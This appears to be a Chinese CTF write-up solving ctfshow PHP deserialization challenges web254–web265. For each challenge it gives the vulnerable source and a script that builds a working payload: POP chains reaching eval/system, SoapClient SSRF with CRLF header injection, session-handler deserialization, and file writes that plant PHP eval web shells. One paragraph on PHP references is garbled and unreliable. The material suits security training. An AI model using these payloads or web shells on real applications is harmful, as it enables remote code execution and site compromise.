一些基础:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名__sleep() //在对象被序列化之前运行 *
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这个题就是简单的逻辑,首先是登陆,判断账号密码是否为xxxxxx,是的话isVip则返回true,之后检测isVip是否为true,是的话就输出flag。
因此,直接get传两个参数,username和password都是xxxxxx即可出flag。
web255:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
逻辑挺简单的,就是从cookie取一个序列化后的字符串,进行反序列化,这个类就实例化成一个对象user,然后对这个对象进行操作,进行login,但是login只会返回一个真或者假,不会操作isVip参数,之后的checkVip会检测isVip的值,为真则输出flag,所以,生成的序列化字符串要求是isVip属性得是真,所以生成的脚本如下:
<?php
class ctfShowUser{public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));?username=xxxxxx&password=xxxxxx
web256:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这个题在这个函数里有个问题:
public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
这里很明显,当账号和密码相等的时候,就不会输出flag,当不等的时候就输出,所以,需要通过反序列化将username或者password改一个,使他们不相等,之后get传参的时候传入修改之后的就行了。生成cookie的脚本如下:
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;
}$a = new ctfShowUser();
$a->isVip = true;
$a->password = "xxxxx";echo urlencode(serialize($a));?username=xxxxxx&password=xxxxx
web257:
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}
这个题第一次遇到了魔术方法, 由于存在backDoor类,里面有可以进行RCE的点,所以,这里可以想办法触发__construct
方法以及修改参数来创建这个类,但是,由于info类和backDoor类都有一个同名的方法,就是getInfo,所以在脚本结束的时候,也就是释放或者销毁类的时候就会调用__destruct
方法, 然后调用到backDoor类里的getInfo方法进行RCE。生成payload的脚本如下:
<?php
class ctfShowUser
{private $username = 'xxxxxx';private $password = 'xxxxxx';private $isVip = true;private $class = 'info';public function __construct(){$this->class = new backDoor();}
}class info
{private $user = 'xxxxxx';public function getInfo(){return $this->user;}
}class backDoor
{private $code = "system('tac flag.php');";public function getInfo(){eval($this->code);}
}$a = new ctfShowUser();
echo urlencode(serialize($a));
web258:
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}
这个题对比上一题,多了个正则过滤,基本上就是过滤了o:数字 以及 c:数字 ,这种形式,这里可以使用加号绕过:
<?php
class ctfShowUser{public $class;public function __construct(){$this->class = new backDoor();}
}
class backDoor{public $code = "system('tac fl*');";
}$a = new ctfShowUser();
$b = serialize($a);
$b = str_replace("O:","O:+",$b);
echo urlencode($b);
这个构造我踩了不少坑,最严重的是system函数后面,没有加分号,这个是最大的问题,我一直以为没有成功,结果是因为每家分号。
web259:
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
这个题给的信息好少,不会做,看下wp。
这一题主要考察了原生类的反序列化,好吧,第一次遇到完全想不到,即使学了原生类也没想到。
由于整个index里面没有任何类,所以后面的反序列化加上$vip->getFlag();给人第一反应应该是调用了一个不存在的方法以及原生类结合,触发__call
魔术方法,
贴一个链接,这个文章感觉很详细:【靶场】ctfshow 详解web259原生类反序列化
这里是使用的Soapclient原生类:
Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务
SoapClient原生类, 类似于curl一样的存在, 基于 XML 的协议,它使应用程序通过 HTTP 来交换信息
提示里给了这个:
flag.php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}
这里可以看出来,flag,php文件会帮我们获得flag的值,但是,需要提前检测ip,也就是xff的值。
从代码上看直接访问flag.php给X_FORWARDED_FOR赋值127.0.0.1三次(127.0.0.1, 127.0.0.1, 127.0.0.1)就可以绕过array_pop(删除数组末尾的值), 在传入token等于ctfshow就能得到flag
所以,构造payload的脚本如下:
<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));echo urlencode(serialize($client));
完成上面的生成操作得安装php-soap拓展,我这里用的是phpstudy,它自带这个拓展,但是没有编译。打开php-ini,找到extension=php_soap.dll,把前面的分号去掉。
之后得到的payload发送之后直接读取flag.txt即可。
web260:
<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}
没搞懂这个题的意义是啥,算了无脑了:get传一个ctfshow=ctfshow_i_love_36D即可得到flag。
web261:
提示里出现了个打redis,有点害怕了。
<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);
先扔一个考点:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
所以不用搭理__wakeup
直接打木马:
因为存在file_put_contents,所以只需要将木马写入文件里即可,然后就是__destruct
,在脚本跑完的时候会自动执行,所以完全可以触发,之后,有一个 if($this->code==0x36d ,需要想办法通过,因为是弱比较,所以可以利用这个PHP的特性,先执行下这个:
echo 0x36d == "877.php";
发现输出结果是1,好了,可以直接梭了:
<?php
class ctfshowvip{public $username;public $password;public function __construct(){$this->username='877.php';$this->password='<?php eval($_GET[1]);?>';}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
之后访问877.php直接RCE即可。
web262:
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);
文档注释给了信息,有一个message.php文件,访问下:
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}
有两个方法,这里先用
直接反序列化:
<?php
class message{public $from;public $msg;public $to;public $token='admin';}$a = new message();
echo base64_encode(serialize($a));
直接通过cookie传一个msg上去即可得到flag
字符串逃逸:
<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);#palyoad:f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263:
一上来是个登录框,听说考点是session反序列化,先贴一个文章:session反序列化
首先,访问www.zip获取源码。
index.php:
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}?><!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>ctfshow登陆</title><link href="css/style.css" rel="stylesheet">
</head>
<body><div class="pc-kk-form"><center><h1>CTFshow 登陆</h1></center><br><br><form action="" οnsubmit="return false;"><div class="pc-kk-form-list"><input id="u" type="text" placeholder="用户名"></div><div class="pc-kk-form-list"><input id="pass" type="password" placeholder="密码"></div><div class="pc-kk-form-btn"><button οnclick="check();">登陆</button></div></form></div><script type="text/javascript" src="js/jquery.min.js"></script><script>function check(){$.ajax({url:'check.php',type: 'GET',data:{'u':$('#u').val(),'pass':$('#pass').val()},success:function(data){alert(JSON.parse(data).msg);},error:function(data){alert(JSON.parse(data).msg);}});}</script></body>
</html>
index.php里主要的php逻辑:
error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}?>
check.php:
<?phperror_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);if($GET){$data= $db->get('admin',[ 'id','UserName0'],["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破]]);if($data['id']){//登陆成功取消次数累计$_SESSION['limit']= 0;echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));}else{//登陆失败累计次数加1$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);echo json_encode(array("error","msg"=>"登陆失败"));}
}
inc/inc.php:
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW(['database_type' => 'mysql','database_name' => 'web','server' => 'localhost','username' => 'root','password' => 'root','charset' => 'utf8','port' => 3306,'prefix' => '','option' => [PDO::ATTR_CASE => PDO::CASE_NATURAL]
]);// sql注入检查
function checkForm($str){if(!isset($str)){return true;}else{return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);}
}class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/function uuid()
{ $chars = md5(uniqid(mt_rand(), true)); $uuid = substr ( $chars, 0, 8 ) . '-'. substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-'. substr ( $chars, 16, 4 ) . '-'. substr ( $chars, 20, 12 ); return $uuid ;
}
最后一个文件没啥用,又长,就不放了。
先看inc/inc.php,里面存在ini_set('session.serialize_handler', 'php');
,根据user类,发现可以写入文件,发现在魔术方法__destruct中会把password写入log-username文件中,而这里的username和password可控,在index.php中会检查是否设置了session,并且:
function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
因为session.save_handler=""于user.ini默认设置不符, 会反序列化session中|后的数据所以可以直接构造payload:
<?php
class User{public $username = '1.php';public $password = '<?php eval($_POST[a]);?>';
}echo urlencode(base64_encode("|".serialize(new User)));#palyoad:fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNDoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BIjt9
之后访问index.php,将cookie的limit参数改为生成的base64编码字符串,然后访问check.php,最后访问log-1.php即可进行rce。
web264:
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
session_start();class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}highlight_file(__FILE__);
和262一样,访问message.php,然后代码如下:
<?phpsession_start();
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}
这里似乎不能修改cookie了,没办法了,直接打吧:
<?php
class message{public $from;public $msg;public $to;public $token='admin';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;#f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
index.php用get传参payload,之后访问message.php,cookie后面加一个;msg=1即可。
web265:
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}
php的特性, 按地址传参
例如$a = 1 b = 2 , 这时让 b = 2, 这时让 b=2,这时让b = & a , 再给 a, 再给 a,再给a 重新赋个值 a = 3 , 这个时候 a = 3, 这个时候 a=3,这个时候b就会一直跟着$a变化, a 是什么 a是什么 a是什么b就是什么
$a='123';
$b=&$a;
$b=1;
echo $a;
这个就会发现,a的值会跟着b一起改变。所以payload可以如下生成:
<?php
class ctfshowAdmin
{public $token;public $password;public function __construct(){$this->token = 'a';$this->password =& $this->token;}
}
$a=new ctfshowAdmin();
echo serialize($a);